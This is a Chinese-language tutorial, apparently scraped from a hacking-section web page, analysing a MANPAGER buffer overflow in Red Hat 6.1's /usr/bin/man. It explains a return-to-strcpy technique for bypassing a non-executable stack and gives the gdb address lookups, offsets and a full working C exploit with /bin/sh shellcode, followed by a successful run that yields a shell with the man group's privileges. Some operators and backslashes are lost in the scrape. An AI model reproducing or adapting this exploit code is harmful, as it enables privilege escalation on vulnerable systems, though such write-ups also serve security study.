手机
当前位置:查字典教程网 >网络安全 >黑客入侵 >缓冲区溢出分析
缓冲区溢出分析
摘要:1.简介我在http://www.hack.co.za/上看到Lam3rZ小组的Kil3r写的一个针对redhat6.1(andothers...

1. 简介

我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对

redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并

没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机

没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可

以用于"常规"环境,所以就此次攻击做一完整描述,抛砖引玉,见笑。

2. 问题描述

/usr/bin/man 会使用 MANPAGER 环境变量,关于这个变量的细节请 man man 查看。

当 MANPAGER 变量设置成超长字符串时,会导致 /usr/bin/man 执行中缓冲区溢出。

[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`

[scz@ /home/scz/src]> man ls

sh: A: command not found

Error executing formatting or display command.

System command (cd /usr/man ; (echo -e ".ll 9.9in.pl 1100i";

/bin/cat /usr/man/man1/ls.1; echo ".pl n(nlu 10") | /usr/bin/gtbl |

/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.

No manual entry for ls ^

[scz@ /home/scz/src]> |

|

------<------ 注意这里就是 MANPAGER 变量

注意到命令最后通过管道符'|'传递给了 MANPAGER 变量所指定的程序。

我们重复类似的操作,不断加大 MANPAGER 变量的长度,直到发生溢出。用"二分法"

较快地确定出当长度最小为 3945 时,缓冲区溢出并导致段错误。

[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'`

[scz@ /home/scz/src]> man ls

sh: A...A: command not found

Error executing formatting or display command.

System command (cd /usr/man ; (echo -e ".ll 9.9in.pl 1100i";

/bin/cat /usr/man/man1/ls.1; echo ".pl n(nlu 10") | /usr/bin/gtbl |

/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.

Segmentation fault <-- -- -- 这里已经出现段错误,通常是指针操作访问非法地

[scz@ /home/scz/src]> 址造成,很可能某个函数的返回地址已经被覆盖掉

[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 这里删除该环境变量恢复正常

3. 攻击思路

姑且假设 /usr/bin/man 执行过程中读取 MANPAGER 变量到一个缓冲区中,由于未做

边界检查导致溢出,并覆盖了某个函数的返回地址。显然,覆盖值来自 MANPAGER 变

量的值,换句话说,用于覆盖的返回地址来自 MANPAGER 变量的值。

在"常规"环境下,理论上可以直接通过 MANPAGER 变量传递用于覆盖的返回地址以及

shellcode本身,因为3945大小的缓冲区已经足以做任何事情,也可以仅仅通过

MANPAGER 变量传递用于覆盖的返回地址,利用其他自定义环境变量传递shellcode。

在不可执行堆栈环境下,上述两种传递shellcode的办法都因为shellcode位于堆栈高

区,无法覆盖返回地址指向我们的shellcode。请参看tt在绿盟网络安全月刊第8期中

的<< 绕过Linux不可执行堆栈保护方法浅析 >>,具体的技术原理不再赘述。

Lam3rZ 小组的 Kil3r 所编写的exploit code采用的技术是,用于覆盖的返回地址指

向 strcpy() 函数的 PLT 入口(过程链接表入口),同时在堆栈中利用 MANPAGER 变

量的缓冲区溢出,伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。

shellcode采用自定义环境变量的技术传递进入堆栈高区,因为使用了 execle() 函

数调用,该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定,很容易猜

测调整。当返回地址被成功覆盖后,程序流程随着问题函数的返回而转向一个

strcpy() 函数调用,strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环

境变量区(堆栈高区)拷贝到另外一个区域,这个区域要求在不可执行堆栈环境下依旧

可写可执行,该区域必须在 /usr/bin/man 进程的地址空间内。显然,这个区域的地

址需要提前猜测确定,因为该区域的地址作为 strcpy() 函数调用的目标地址,必须

在伪造假栈帧时提供,后面我们会介绍猜测确定该区域地址的技术手段。

至于 strcpy() 函数调用完成,我们的shellcode已经进入可执行区域,流程又是如

何转向我们自己的shellcode,请参看tt在绿盟网络安全月刊第8期中的

<< 绕过Linux不可执行堆栈保护方法浅析 >>,内有图示,我看得头都快白了,总算

理解,chat* sigh。

从上面的攻击思路分析中完全可以看出,Lam3rZ 小组的 Kil3r 的攻击手段适用范围

要广些,所以我们先采用这种技术完成一次攻击。

4. 攻击第一步,猜测确定几个关键地址

(1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口

[scz@ /home/scz/src]> gdb /usr/bin/man

GNU gdb 4.18

This GDB was configured as "i386-redhat-linux"...

(gdb) p strcpy

$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>

(gdb) q ^

[scz@ /home/scz/src]> |

|

#define STRCPYPLT 0x080490e4 ------>------

因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中,我们需要确定的 strcpy()

函数的 PLT 入口也应该是 /usr/bin/man 中 strcpy() 函数的 PLT 入口。该入口

和 /usr/bin/man 文件二进制映像有关,对于某个确定的elf格式的程序文件,该

入口相对固定。

(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区

域地址

[scz@ /home/scz/src]> man ls

Ctrl-Z <-- -- -- 输入 Ctrl-Z 挂起 man ls

[scz@ /home/scz/src]> jobs

[1] Stopped man ls

[scz@ /home/scz/src]> ps -ef | grep man

scz 2377 1860 0 12:03 pts/2 00:00:00 man ls

[scz@ /home/scz/src]> cat /proc/2377/maps

08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man

[scz@ /home/scz/src]> fg %1

q <-- -- -- 退出 man ls

[scz@ /home/scz/src]>

这个区域显示的是可读写,并没有可执行,但实际是可执行的。我们挑选一个处在4

字节对齐边界上的地址,将来shellcode最终被拷贝到该地址并在该地址上开始执行。

#define SHELLCODETARGET 0x0805010c

注意,这里的 SHELLCODETARGET 需要出现在 MANPAGER 环境变量中,所以不得出现

零值。我当时挑选了 0x08050100 ,结果总是不能正确溢出,后来才想起这个毛病所

在。

我们可以不通过 /proc/<pid>/maps 文件查找满足条件的区域地址,而直接使用

strcpy() 函数的 GOT 入口(全局偏移表入口)地址。

[scz@ /home/scz/src]> gdb /usr/bin/man

GNU gdb 4.18

This GDB was configured as "i386-redhat-linux"...

(gdb) disas strcpy

0x80490e4 <strcpy> : jmp *0x8050cac

0x80490ea <strcpy 6> : push $0x1d8 <-- -- -- 动态链接器使用

0x80490ef <strcpy 11>: jmp 0x8048d24

(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址

0x8050cac <_IO_stdin_used 11176>: 0x080490ea

(gdb) q

[scz@ /home/scz/src]>

#define STRCPYPLT 0x080490e4

#define STRCPYGOT 0x08050cac

#define SHELLCODETARGET STRCPYGOT

显然 STRCPYGOT 符合可写可执行区域的条件。可能你担心直接使用 STRCPYGOT 作为

目标地址,会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码,使用

STRCPYGOT 的时候还没有发生字符串拷贝,换句话说,发生字符串拷贝的时候已经无

所谓 STRCPYGOT 处是什么内容了,反正我们的shellcode是不会使用 strcpy() 函数

的。要是还不放心,就不要直接使用 STRCPYGOT 作为目标地址,而使用 STRCPYGOT

4 作为目标地址,只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函

数的入口地址,反正都无所谓。

(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址

下面的讨论基于一个假设,你已经明白elf文件的内存布局。我们需要通过环境变量

传递shellcode进入 /usr/bin/man 的进程空间,strcpy() 使用这里的shellcode作

为拷贝源。猜测确定拷贝源地址是必须的。

#define VULPROGRAM "/usr/bin/man"

#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )

这里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了结尾的''。如果担心不够精

确,可以在shellcode的前部增加 NOP 指令。

上面的技术适用于i386/Linux平台,对于SPARC/Solaris平台这样相对复杂的情况,

还可以采用辅助程序观察execle()之后的内存布局,我们在条目6中介绍。

(4) 猜测确定问题缓冲区溢出点

实际上攻击从问题描述就已经开始了,发现问题的同时就开始了攻击过程,问题缓冲

区溢出点显然可以从 3945 9 = 3954 附近考虑。但是,不知道什么缘故,居然无

法得到core文件,也就无法深入调试,最后只好参看 Kil3r 的exploit code,发现

他使用的溢出点在4067,因为没有core文件,无法确定发生了什么,为什么3954已经

开始溢出,但真正有效溢出点却在4067,中间相差这么多字节,没有core的日子真难

过。

#define VULPOINT 4067

5. 编写针对不可执行堆栈环境的溢出攻击程序

/*

* File : ex_man.c for redhat 6.1 /usr/bin/man

* Author : Kil3r of Lam3rZ

* Rewriten : scz < mailto: scz@isbase.com >

* Complie : gcc -o ex_man ex_man.c

* Usage : ./ex_man

* Date : 2000-05-16

*/

#include <stdio.h>

#include <string.h>

#include <sys/param.h>

#include <sys/stat.h>

#include <sys/types.h>

/* 一段标准的linux/i386下的shellcode */

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

#define STRCPYPLT 0x080490e4

#define STRCPYGOT 0x08050cac

#define RETADDRESS STRCPYPLT /* 用于覆盖的返回地址 */

#define SHELLCODETARGET STRCPYGOT

#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )

#define VULPROGRAM "/usr/bin/man"

#define VULPOINT 4067

#define SAFEPADLEN 24

#define PAD 'A'

#define SUCCESS 0

#define FAILURE -1

int main ( int argc, char * argv[] )

{

char * vulbuf;

char * env[3];

u_long * pointer;

u_long vulPoint = VULPOINT;

u_long vulBufSize = VULPOINT SAFEPADLEN;

fprintf( stderr, "Usage: %s [ vulPoint ]n", argv[0] );

if ( argc > 1 )

{

vulPoint = strtoul( argv[1], NULL, 10 );

vulBufSize = vulPoint SAFEPADLEN;

}

vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );

if ( vulbuf == 0 )

{

fprintf( stderr, "Can't allocate memory %lu bytesn", vulBufSize );

exit( FAILURE );

}

fprintf( stderr, "vulPoint = %lun", vulPoint );

memset( vulbuf, PAD, vulBufSize );

vulbuf[ vulBufSize - 1 ] = '';

pointer = ( u_long * )( vulbuf vulPoint );

*pointer = RETADDRESS;

*pointer = SHELLCODETARGET;

*pointer = SHELLCODETARGET;

*pointer = SHELLCODESOURCE;

memcpy( vulbuf, "MANPAGER=", 9 );

env[0] = vulbuf;

env[1] = shellcode;

env[2] = NULL;

execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );

free( vulbuf );

return( SUCCESS );

} /* end of main */

[scz@ /home/scz/src]> cat > ex_man.c

[scz@ /home/scz/src]> gcc -o ex_man ex_man.c

[scz@ /home/scz/src]> ./ex_man

Usage: ./ex_man [ vulPoint ]

vulPoint = 4067

bash$ id

uid=505(scz) gid=100(users) egid=15(man) groups=100(users)

bash$ exit ^

exit |

[scz@ /home/scz/src]> |

溢出成功 ------>------

上一页12 3 下一页 阅读全文

【缓冲区溢出分析】相关文章:

黑客利用跨站实现HTTP会话劫持

推荐:对FCBLOG的简单分析

浅析*NIX机器的入侵

系统泄露密码的入侵分析

看看黑客是怎样使用Google黑掉Windows服务器

暴风影音视频加速程序模块缓冲区溢出漏洞的分析

黑客在线之经典入侵技术总结 (一)

Linux系统下由论坛到SSH的入侵分析

一个百度应用差评引起的渗透 渗透百度应用全过程

入侵超变态动网论坛实例(图)

精品推荐
分类导航